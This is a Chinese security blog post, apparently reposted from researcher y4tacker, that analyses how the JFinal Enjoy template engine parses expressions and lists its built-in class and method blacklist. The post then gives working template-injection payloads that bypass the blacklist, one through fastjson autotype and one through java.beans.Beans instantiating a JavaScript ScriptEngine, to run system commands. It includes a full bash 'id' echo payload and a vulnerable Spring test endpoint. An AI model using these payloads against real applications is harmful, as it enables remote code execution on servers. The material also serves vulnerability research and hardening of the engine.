Enjoy模板引擎分析

admin 2024年10月29日00:02:47评论13 views字数 7104阅读23分40秒阅读模式

Enjoy模板引擎分析

前置

首先有关Enjoy模板引擎的一些描述可以看这里:https://jfinal.com/doc/6-1

文档中值得关注的点

属性访问触发get方法

在官方文档里面我们可以看到很多有趣的东西(当然我会更关注于一些相关的),比如属性访问的这一条描述,可以让我们去触发对象的get方法(前提是public修饰)

12345
由于模板引擎的属性取值表达式极为常用,所以对其在用户体验上进行了符合直觉的扩展,field 表达式取值优先次序,以 user.name 为例:如果 user.getName() 存在,则优先调用如果 user 具有 public 修饰过的name 属性,则取 user.name 属性值(注意:jfinal 4.0 之前这条规则的优先级最低)

方法调用

关于方法调用也有一些描述,说可以直接调用对象上的任何public方法,使用规则与java中调用方式保持一致,当然也不是所有方法都能调用,在源码的调试过程当中发现有一些方法在黑名单当中

1234567891011121314151617
getClasswaitnotifyAllgetClassLoaderinvokenotifygetDeclaringClassremoveForbiddenMethodremoveForbiddenClasssuspendresumeloadLibraryforNamenewInstanceexithaltstop

除此以外也有黑名单类

123456789101112131415161718
java.lang.ThreadGroupjava.lang.ProcessBuilderjava.lang.Systemjava.lang.ClassLoaderjava.lang.reflect.Proxyjava.lang.Runtimejava.lang.Threadjava.lang.Classcom.jfinal.template.expr.ast.MethodKitjava.io.Filejava.lang.reflect.Methodjava.lang.InheritableThreadLocaljava.lang.Processjava.lang.ThreadLocaljava.lang.Packagejava.lang.SecurityManagerjava.lang.Compilerjava.lang.RuntimePermission

因此也给了我们更多的限制

静态属性访问

来个例子就懂了

123
#if(x.status == com.demo.common.model.Account::STATUS_LOCK_ID)   <span>(账号已锁定)</span>#end

静态方法的调用

123
#if(com.jfinal.kit.StrKit::isBlank(title))   ....#end

同时支持调用静态属性上的方法

1
(com.jfinal.MyKit::me).method(paras)

引擎执行流程简单分析

以下不感兴趣可以直接略过,因为不需要一些很详细的分析就能bypass,只要我们知道过滤了哪些类哪些方法针对绕过即可,这里权当自己好奇看看如何实现的,当然分析也只会主要去看一些能让我成功实现执行不安全函数的方式(指的是#()#set()两种),根据对文档的阅读,个人认为其他标签对于我意义不大,因为我如果能够执行一个命令我需要的是能够回显#(),或者我不能通过一步执行需要通过#set(a=xxx)的方式去拆分保存变量做中转,因此我在分析调试的过程当中只会针对这两个标签进行分析

为了独立分析这里引入了maven坐标

12345
<dependency>  <groupId>com.jfinal</groupId>  <artifactId>enjoy</artifactId>  <version>4.9.21</version></dependency>

一个基本的使用很简单,为了方便调试我写了个很简单的类

123456789101112
package com.example.ezsb;public class User {    public static void run(){        try{            Runtime.getRuntime().exec("open -na Calculator");        }catch (Exception e){        }    }}
12
Template template = engine.getTemplateByString("#(com.example.ezsb.User::run())");template.renderToString();

首先由于默认未开启缓存,默认走第一个分支

Enjoy模板引擎分析

接下来我们看com.jfinal.template.Engine#buildTemplateBySource,同样我们只需要更关注于解析部分也就是parser.parse()

Enjoy模板引擎分析

接下来我们先跟一下这个遍历字符串解析token的过程,首先是初步解析操作与内容,比如#(xxx)他就会识别成OUTPUT xxxx )三部分,#set("a=xxx")也会拆分成set a=xxx )三部分之后在statlist中,根据是TEXT\SET\FOR\OUTPUT\INCLUDE\FOR\DEFINE\CALL.....等去做更进一步的解析

Enjoy模板引擎分析

这里我们看看,首先当前位置一定是#,不然也没意义了,这里光看英文单词就知道我们更应该专注看com.jfinal.template.stat.Lexer#scanDire

Enjoy模板引擎分析

这里如果#后面是(也就直接对应了OUTPUT,如果不是则判断后面如果是字母则转到state为10的分支(PS:后面那个如果是@则调用模板函数防止你们好奇),并设置对应的token

Enjoy模板引擎分析

接下来我们看看state为10的地方做的什么首先通过id去获取symbol

Enjoy模板引擎分析

简单看看这里一些内置的东西,如果没有的话就会去看是不是走define或者else if分支,当然超纲了我上面说过的只看#()#set(),这里就不深入谈了

Enjoy模板引擎分析

接下来看debug窗口就和我们上面说的一样设置了下面的toknelist的内容

Enjoy模板引擎分析

接下来我们继续看看statList函数(在上一步的基础上进行更进一步的解析),这里不管是OUTPUT还是SET其实值得我们关注的核心调用是相同的,也就是this.parseExprList(para)

Enjoy模板引擎分析

跟进parseExprList,一直到com.jfinal.template.expr.ExprParser#parse,我们跟进这个scan

Enjoy模板引擎分析

这里不再通篇像上面那样说如何解析的了,有兴趣可以自己看

Enjoy模板引擎分析

这里我们只看几个关键的,在scanOperator里面,一个是::作为STATIC静态标记,另一个是左括号和又括号

Enjoy模板引擎分析

Enjoy模板引擎分析

在最终做完这些处理后,tokenList成了这个样子

Enjoy模板引擎分析

接下来我们看看下面,首先initPeek会将peek设置为tokenList当中的第一个,之后默认会调用exprList

123456789101112131415
Expr parse(boolean isExprList) {    this.tokenList = (new ExprLexer(this.paraToken, this.location)).scan();    if (this.tokenList.size() == 0) {        return ExprList.NULL_EXPR_LIST;    } else {        this.tokenList.add(EOF);        this.initPeek();        Expr expr = isExprList ? this.exprList() : this.forCtrl();        if (this.peek() != EOF) {            throw new ParseException("Expression error: can not match \"" + this.peek().value() + "\"", this.location);        } else {            return (Expr)expr;        }    }}

在exprList,具体的过程也比较复杂

12345678910111213141516171819202122
ExprList exprList() {        ArrayList exprList = new ArrayList();        while(true) {            Expr expr = this.expr();            if (expr == null) {                break;            }            exprList.add(expr);            if (this.peek().sym != Sym.COMMA) {                break;            }            this.move();            if (this.peek() == EOF) {                throw new ParseException("Expression error: can not match the char of comma ','", this.location);            }        }        return new ExprList(exprList);    }

这里放一个调用栈就好了,有兴趣可以自己跟一跟(它规定了以什么样的顺序去解析我们的表达式)

123456789101112131415161718192021222324
staticMember:326, ExprParser (com.jfinal.template.expr)incDec:287, ExprParser (com.jfinal.template.expr)unary:279, ExprParser (com.jfinal.template.expr)nullSafe:253, ExprParser (com.jfinal.template.expr)mulDivMod:241, ExprParser (com.jfinal.template.expr)addSub:229, ExprParser (com.jfinal.template.expr)greaterLess:216, ExprParser (com.jfinal.template.expr)equalNotEqual:203, ExprParser (com.jfinal.template.expr)and:191, ExprParser (com.jfinal.template.expr)or:179, ExprParser (com.jfinal.template.expr)ternary:165, ExprParser (com.jfinal.template.expr)assign:158, ExprParser (com.jfinal.template.expr)expr:127, ExprParser (com.jfinal.template.expr)exprList:110, ExprParser (com.jfinal.template.expr)parse:97, ExprParser (com.jfinal.template.expr)parseExprList:76, ExprParser (com.jfinal.template.expr)parseExprList:269, Parser (com.jfinal.template.stat)stat:117, Parser (com.jfinal.template.stat)statList:87, Parser (com.jfinal.template.stat)parse:77, Parser (com.jfinal.template.stat)buildTemplateBySource:305, Engine (com.jfinal.template)getTemplateByString:242, Engine (com.jfinal.template)getTemplateByString:223, Engine (com.jfinal.template)main:50, Test (com.example.ezsb)

最终在staticMember会返回一个实例化的staticMember对象Enjoy模板引擎分析

在初始化的时候还会检查类名与方法名是否在黑名单当中,具体的在上面提到过就不贴了点我直达Enjoy模板引擎分析

后面过程就省略了,已经到了我们想要的了,后面就是如何调用这个静态函数了,当然其实不止能调用静态方法,还可以直接调用实例对象的方法,但是也是有黑名单拦截

绕过Bypass

根据之前的调试我们知道,如果想要在模板里面执行函数有几个条件

  • 对于调用静态方法,只能调用公共静态方法(但不能用黑名单当中的类以及方法)
  • 对于实例对象的方法,只能调用public修饰的(但不能用黑名单当中的类以及方法)

绕过第一个方式直接命令执行比较难,那么如果是第二种方式的话那我们肯定需要获取一个类的实例,那么有没有一个public类的静态方法能返回我们任意的实例呢,那就看看有没有办法能够返回一个类的实例呢?这样就可以 javax.script.ScriptEngineManager来执行任意Java代码(这样也比较好绕过黑名单了)

首先网上搜了搜jfinal的历史,发现可以通过fastjson去实例化一个类,同时可以开启autotype,构造payload长这样

1234567
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload=xxxxxx)#(b.eval(payload))

既然这样那有没有jre当中的类可以实现类似的效果呢?答案是有

Java自带类绕过

我发现有一个类java.beans.Beans

123
public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {  return Beans.instantiate(cls, beanName, null, null);}

这个方法又臭又长,不过好在符合条件classLoader也不需要传,真舒服呀

12345678
if (cls == null) {  try {    cls = ClassLoader.getSystemClassLoader();  } catch (SecurityException ex) {    // We're not allowed to access the system class loader.    // Drop through.  }}

Enjoy模板引擎分析

因此配合这个类顺手拿下模板SSTI

1
#set((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -na Calculator\")"))

获取回显

我们考虑两个场景,一个是直接执行,另一个return返回值

写入内存马

既然能够执行任意代码了那肯定拿下内存马,这里启一个springboot环境测试,简单测试下

12345678910111213
@ResponseBody@RequestMapping("/")public String abc(@RequestParam("base") String base)  {  ProcessBuilder processBuilder = new ProcessBuilder();  Engine engine = Engine.use();  engine.setDevMode(true);  engine.setToClassPathSourceFactory();  Template template = engine.getTemplateByString(base);  String result = template.renderToString();  return result;}

Enjoy模板引擎分析

直接回显

很简单不需要讲了都,很常规payload

1
base=#((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("var s = [3];s[0] = \"/bin/bash\";s[1] =\"-c\";s[2] = \"id\";var p =java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;"))

测试下

Enjoy模板引擎分析

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:02:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Enjoy模板引擎分析https://cn-sec.com/archives/3314945.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息